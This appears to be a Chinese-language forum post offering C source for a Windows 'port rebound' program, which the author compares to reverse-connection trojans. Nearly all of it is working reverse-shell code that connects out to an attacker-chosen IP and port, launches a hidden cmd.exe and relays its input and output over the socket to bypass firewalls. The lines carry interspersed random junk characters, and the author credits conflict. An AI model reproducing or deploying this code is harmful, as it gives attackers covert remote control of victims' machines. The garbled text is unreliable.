Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 IVD1mk  
5T,Doxo  
/* ============================== gwk$|aT@  
Rebound port in Windows NT Gv[W)+3f  
By wind,2006/7 c;_GZ}8  
===============================*/ 9`}Wp2  
#include @AUx%:}0Y:  
#include Z qX U  
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#pragma comment(lib,"wsock32.lib") ^,zE Nqg7  
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void OutputShell(); 
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SOCKET sClient; fLK*rK^{"  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; vQ=W<>1  
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void main(int argc,char **argv) DX.u"&Mm  
{ 7"F w8;k  
WSADATA stWsaData; \dj&4u3  
int nRet; AfKJaDKf  
SOCKADDR_IN stSaiClient,stSaiServer; ~[XDK`B
  
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if(argc != 3) jI@0jxF  
{ H=]$9ZH!  
printf("Useage:\n\rRebound DestIP DestPort\n"); r,=xI`XH  
return; E",s]  
} 5)4*J.  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4s/4z@3a  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); X0 &1ICZ  
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stSaiClient.sin_family = AF_INET; ";B.^pBv@;  
stSaiClient.sin_port = htons(0); FH}n]T  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ]g-(|X~>  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) }xTTz,Oj$  
{ kXS_:f;M  
printf("Bind Socket Failed!\n"); lZCvH1&"  
return; yA*~O$~Y  
} 2|F.JG^  
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stSaiServer.sin_family = AF_INET; VVeO>jd  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 1\q(xka{  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); }Q_IqI[7  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 9 m&"x/k  
{ ?cr;u~-=  
printf("Connect Error!"); h4H~;Wl0  
return; d{&+xl^ll  
} qgrRH
'  
OutputShell(); Py\xN  
} $K^"a  
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void OutputShell() +B^/ =3
P  
{ aB<~T[H%h  
char szBuff[1024]; B, nCx=\S  
SECURITY_ATTRIBUTES stSecurityAttributes; x3>K{  
OSVERSIONINFO stOsversionInfo; CF9a~^+%  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; dluNA(Xc-  
STARTUPINFO stStartupInfo; T8>:@EL-k  
char *szShell; Fh& `v0  
PROCESS_INFORMATION stProcessInformation; `g6XVa*%#  
unsigned long lBytesRead; ;k^wn)JE$  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); )hK5_]"lmj  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aKS 2p3   
stSecurityAttributes.lpSecurityDescriptor = 0; `;WiTE)&)  
stSecurityAttributes.bInheritHandle = TRUE; Z `O.JE  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); w=d#y )
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CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); x*}j$n(Oa  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,WA7Kp9  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1"A1bK  
stStartupInfo.wShowWindow = SW_HIDE; 3sc5meSu'  
stStartupInfo.hStdInput = hReadPipe; G40,KCa  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; NUiZ!&  
n )YNt  
GetVersionEx(&stOsversionInfo); cyA|6Ltg%  
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switch(stOsversionInfo.dwPlatformId) _1hc^j  
{ 9>u2; 'Ls  
case 1: -[i9a:eRM  
szShell = "command.com"; tY !fO>Fn~  
break; ~1wAk0G`n  
default: OGg9e  
szShell = "cmd.exe"; v 2k/tT$t  
break; }$#e&&)n  
} +mhYr]Z  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); {,.1KtrSN  
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send(sClient,szMsg,77,0); pSkP8' ?  
while(1) N72z5[..  
{ 85$MHod}[,  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x,IU]YW@  
if(lBytesRead) #rMMOu9r2  
{ 6@g2v^ %  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); %d($\R-*O  
send(sClient,szBuff,lBytesRead,0); pez*kU+9  
} mu)?SGpyE  
else 4Ub_;EI>  
{ 6#vD>@H  
lBytesRead=recv(sClient,szBuff,1024,0); m'Z233Nt"  
if(lBytesRead<=0) break; "UKX~}8T
 
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); n|lXBCY7K  
} 8Fx~i#FT  
} FMhwk"4L  
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return; K6~N{:.s  
}